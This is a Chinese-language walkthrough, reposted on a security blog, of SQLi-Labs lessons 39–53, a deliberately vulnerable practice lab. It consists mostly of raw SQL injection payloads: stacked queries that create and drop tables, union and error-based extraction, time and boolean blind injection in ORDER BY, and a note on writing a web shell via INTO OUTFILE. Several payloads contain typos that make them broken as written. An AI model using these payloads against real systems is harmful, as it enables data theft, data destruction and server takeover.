【SQLi_Labs】Stacked Injections

admin 2024年12月11日21:42:49评论1 views字数 2822阅读9分24秒阅读模式

青年,青年!无论受怎样的挫折和打击,都要咬着牙关挺住,因为你们完全有机会重建生活;只要不灰心丧气,每一次挫折就只不过是通往新境界的一块普通绊脚石,而绝不会置人于死命。

Less-39

堆叠注入,成功创建test39数据表

1;create table test39 like users;%23

删除test39数据表

1;drop table test39;%23

再次查询就会有新建的表名

0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

【SQLi_Labs】Stacked Injections

Less-40

1');create table test40 like users;%23

再次查询就会有新建的表名

0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

【SQLi_Labs】Stacked Injections

Less-41

1;create table test41 like users;%23

再次查询就会有新建的表名

0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

【SQLi_Labs】Stacked Injections

Less-42

password处无过滤

login_user=1&login_password=1'%3bcreate+table+test42+like+users%3b%23&mysubmit=Login

Less-43

password处无过滤

login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

Less-44

login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login

Less-45

login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login

Less-46

order by注入

username、password均为列名,所以以下需要知道列名

?sort=if(1=1,username,password)

【SQLi_Labs】Stacked Injections

?sort=null,if(1=1,username,password)

?sort=(case when (1=1) then username else password end)

?sort=ifnull(null, username)

?sort=rand(1=1) //order by rand(1)/rand(0)两者返回不一样

?sort=(select 1 regexp if(1=1,1,0x00))

将1=1换成bool盲注的语句函数即可用于获取数据

sort=rand(ascii(database(),1))=115)

时间盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool 盲注

rand(ascii(left(database()),1))=115)

报错注入:

1%20or%20updatexml(1,concat(0x7e,(select%20user())),1)

【SQLi_Labs】Stacked Injections

updatexml(1,if(1=1,concat(0x7e,version()),2),1) (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

【SQLi_Labs】Stacked Injections

procedure analyse 参数后注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

【SQLi_Labs】Stacked Injections

into outfile参数:

id=1 into outfield "path"

上传网马,可以在后面加上lines terminated by 16进制转码的数据

Less-47

有',可以用报错

1%27%20or%20updatexml(1,concat(0x7e,(select%20user())),1)%20--%20q

【SQLi_Labs】Stacked Injections

1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以用时间盲注

1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

procedure analyse 参数后注入

1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

【SQLi_Labs】Stacked Injections

Less-48

1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+

sort=rand(ascii(left(database(),1))=115)

【SQLi_Labs】Stacked Injections

Less-49

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

【SQLi_Labs】Stacked Injections

1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

Less-50

堆叠注入

1;create table test50 like users;%23

Less-51

1';create table test51 like users;%23

Less-52

1;create table test52 like users;%23

Less-53

1';create table test53 like users;%23

【SQLi_Labs】Stacked Injections

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):【SQLi_Labs】Stacked Injections

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月11日21:42:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【SQLi_Labs】Stacked Injectionshttps://cn-sec.com/archives/3496749.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息